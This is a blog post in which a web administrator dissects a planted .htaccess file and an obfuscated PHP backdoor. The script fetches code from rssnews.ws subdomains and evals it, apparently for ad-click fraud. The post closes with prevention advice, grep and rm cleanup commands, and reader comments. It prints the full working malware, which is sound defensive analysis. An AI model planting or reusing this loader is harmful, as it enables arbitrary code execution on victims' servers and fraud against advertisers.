On one of the web servers I help run, we noticed some suspicious activity. After poking around, I found a pair of suspicious files in a directory that contains user-uploaded files. One was named .htaccess (typical Apache distributed configuration file), and one was named 203497.php. Here’s my analysis of these mystery files.
First, taking a look at the .htaccess file, which is pretty straightforward.
Options -MultiViews
ErrorDocument 404 //[directory path]/203497.php
This is obviously intended to direct 404 errors to the other file that was uploaded, 203497.php. This has the sneaky side-effect of hiding hits to the file from the Apache logs — in addition to looking for hits to 203497.php, you have to look for any hits in the same directory that resulted in the 404.
Now for the interesting file, 203497.php. This file was condensed when I found it (no whitespace, and all of the code on one line). I formatted it a little and added comments. I’ve divided it into parts (indicated in the comments) that I will discuss. Here it is:
<?
// Disable error reporting.
error_reporting(0);// --1--
// Gather a bunch of info about the current request...
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);// ...and glue it all together.
$z="/?" . base64_encode($a) . " . " . base64_encode($b) . " . " . base64_encode($c) . " . " . base64_encode($d) . " . " . base64_encode($e) . " . " . base64_encode($f) . " . " . base64_encode($g) . " . " . base64_encode($h) . " . e . " . base64_encode($i) . " . " . base64_encode($j);// --2--
// Decodes to "rssnews.ws".
$f=base64_decode("cnNzbmV3cy53cw==");// If the "q" request parameter equals some super secret password...
if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"]) == "11b97f7e132cd3175d7801f278ff73ae") {
// ...override our "f" variable with whatever was sent.
$f=$_REQUEST["id"];
}// --3--
// Attempt to load a remote page and evaluate it as PHP.
if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z))); // http://ads....// If that failed, attempt to load another one and evaluate it as PHP.
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z)) { // http://7....
eval($c);
}
// If that failed, attempt to load another one and evaluate it as PHP.
else {
$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z); // http://71....
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o=curl_exec($cu);
curl_close($cu);
eval($o);
}
;
die();
?>
Let’s take it apart.
Part 1
This appears to just gather some information about the current request — various pieces of the URL, referrer, user agent, IP address, and so forth. It’s then glued together into one long base64-encoded string.
Part 2
Whoever wrote this likes to use literals encoded in base64 to (minimally) obfuscate what’s going on. Wherever there is base64-encoded stuff, I decoded it and left it in the comments.
The variable “$f” from here on out appears to be the domain name that is going to be used for a remote call in a moment. It defaults to “rssnews.ws“, but can be overridden by an “id” parameter if a correct parameter “q” is given. Who knows what the correct value is, because it is only compared against an MD5 hash here.
Part 3
Here are three different attempts to load a remote HTTP page. One by the function include, one by file_get_contents, and one using cURL. I think that whoever wrote this is hoping that if you’ve blocked out one of these methods via settings in php.ini, one of the other ones will still work.
The page that is loaded is prefixed by a different value each time — the first attempt is http://ads.rssnews.ws/, the second is http://7.rssnews.ws/, and the third is http://71.rssnews.ws/ (of course, the “rssnews.ws” part can be overridden in part 2). A GET parameter is given that is all of the information collected in part 1.
Now… what is done with the result? It is executed as PHP code. In the first case, the include function is used, which will take the contents of the remote page and plop it right into the script to be executed. In the other two cases, the eval function is used to execute the contents of the remote page. Again, different methods, possibly getting around block-outs in php.ini.
After that, the script is done.
How yucky to find something like this sitting on your web server! This allows an attacker to potentially execute any arbitrary PHP code on your server. And while PHP is primarily used for generating page content, it can do all sorts of things, like read the contents of files sitting around on your server (perhaps discovering sensitive information like your database password), delete files (depending on your file system permissions), send e-mail, and execute system commands. So, basically, anything that the web server user is allowed to do.
This is a good reason to make sure the permissions on your web server are pretty tight.
Anyway, how did this stuff get on the server to begin with? I said at the top that these files were found in a directory that contains user-uploaded files (supposedly, images). It appears that a lack of checking the file as it came in was the reason that these files were able to make it up. So, here’s a few lessons:
- If you are accepting file uploads with your web application, at the very least, check the file extension on file uploads (or force it to a certain value). Do not allow user-uploaded files to end up on your server with extensions like .php, .htaccess, .pl, .sh, or stuff like that. If you’re expecting images, restrict it to image extensions like .jpg and .png. At least if a file containing malicious code makes it up, that code won’t be executed by your server.
- If you can help it, don’t put user-uploaded files in a web-accessible directory. Store them elsewhere on the file system and use another PHP script to allow access to them. That way you have the opportunity to check to make sure that you’re serving what you think you’re serving.
So, the damage? Even though this script allows an attacker to execute arbitrary PHP and do mean things to your server, that doesn’t appear to be its intended use. It actually does mean things to someone else. Some Googling reveals many other people complaining about this script, with the only differences being the name of the PHP file (always a random number), the MD5 value in part 2, and in some cases the default URL in part 2.
Heading over to http://7.rssnews.ws/en/ gives us an “earn money with your site” site. I haven’t tried it, but apparently they give you some files to stick on your web server (probably the very two files I describe in this post). A bunch of fake URLs that will result in 404 errors hitting said files will be seeded out to search engines. Search engines will attempt to crawl the URLs. The PHP script above will fire up and simulate an ad click somewhere. Ta da! Money.
Checking out the server logs, this seems consistent with the activity I’ve seen. There were no hits to the 203497.php file directly, but here is a small sampling of the hits that generated a 404 that executed the script:
/[directory path]/allopass-key.html
/[directory path]/curitel_usb_driver-x64.html
/[directory path]/lords-of-the-realm-2-torrent.html
/[directory path]/ninja-wagner-fotos.html
/[directory path]/rationing-tutorials-photoshop.html
/[directory path]/pro-bowl.html
/[directory path]/massive-atack.html
… and, all of these hits had user agents that look like search engine crawlers (mostly Yahoo! Slurp).
The fake ad click will appear to come from the web server’s IP address. If this script is widely distributed, it’ll be tough for the advertisers (who are the real victims here) to detect and block this fraudulent activity. Because the PHP code that actually does the “ad clicking” is loaded remotely (from the very site distributing the script), it can be updated if somehow the advertisers catch on and find a way to detect this activity. If rssnews.ws ever gets shut down, they also have the option to override the default URL, so they could just set up on another domain. (I found references to phpsearch.cn being the default domain, and you can see the same site running at http://7.phpsearch.cn/en/.)
And furthermore, apparently this script has been distributed en masse using security vulnerabilities in widely-used software like WordPress and Drupal. Though the site I found it running on was running a home-grown CMS, so there are obviously people out there looking for exploits to distribute this on a small scale as well.
- Secure your server! Make sure the file permissions are locked down. Don’t even trust the user that the web server runs as. You never know when something like this might show up on your system, allowing the execution of arbitrary code.
- Keep your software up to date! Vulnerabilities in software from the bottom (Linux and system libraries) to the middle (Apache, PHP, MySQL) to the top (web applications like WordPress) can potentially allow for this sort of thing to sneak in. Most large open-source operations take security very seriously and get patches out quick if a vulnerability is found (and especially if people are exploiting it), but many times it still requires some effort on your part to get the new software where it needs to be. If you write your own code, think about ways to break in.
- Check things over from time to time and make sure there’s no suspicious files or traffic.
That’s all for now. Hope this helps someone!
I used these commands to clean up after this.
Find all the non-binary files containing a 32-character md5 hash and save the file names:
grep -Ilr -e ‘[0-9a-f]\{32\}’ /home/username/domains/example.com/public_html > badfiles.1.txt
Then find the .php files with names made solely of numbers in that saved list of names:
grep -e ‘.*/[0-9]*.php$’ badfiles.1.a.txt > badfiles.1.a.txt
Next find all the non-binary files containing an ‘ErrorDocument 404′ directive pointing at a .php file which has a name made solely of numbers:
grep -Ilr -e ‘ErrorDocument 404 .*/[0-9]*.php’ /home/username/domains/example.com/public_html/* > badfiles.2.txt
Then find all the .htaccess files in that saved list of names:
grep -e ‘.*/.htaccess$’ badfiles.2.txt > badfiles.2.a.txt
At this point you should probably review the file lists to make sure they contain what you want.
Finally delete the files:
while read file; do rm -f “$file”; done < badfiles.1.a.txt
while read file; do rm -f "$file"; done < badfiles.2.a.txt
I had a good success rate with this. It appears to have removed all the bad files and yet it's also preserved wanted .htaccess files.
Of course, it's possible that some wanted .php files which contained md5 hashes and which had numeric names got through. But, that seems a fairly small price to pay for deleting nearly 2,000 malicious .htaccess files and the same number of PHP files.
There are likely other ways to do it, such as finding all the .htaccess and numeric-named .php files first and then only searching those for the strings and I may try that next time around as it may be faster.
As always, YMMV and make sure you take a backup first so you can restore things which get eaten by mistake.
Good luck!
If you are familiar with shell scripting at all, you can write a script that will search all of your php files (find | grep .php or some such) and then look through those for a string that is indicative of one of the bad files. I used one of the base64-encoded strings to search for. Your script can then print out a report or just delete them on sight.
I actually have such a script, so if you are still at a loss, post back and I will update this post with the script on Monday.
Any thoughts on how to remove all these files? I have them all over my server. Is there a way to search out the .htaccess and php files?
Top summary Aaron. My infected wordpress sites have these two files plus a third called “WP” multiple times in two areas (wp-content/plugins and wp-content/uploads). The permissions for these directories have been changed to 777 and the file owner/group is 99 99 for the bad files.
I found that I can’t change the permissions or delete these files in the uploads directory.
Thanks it did help.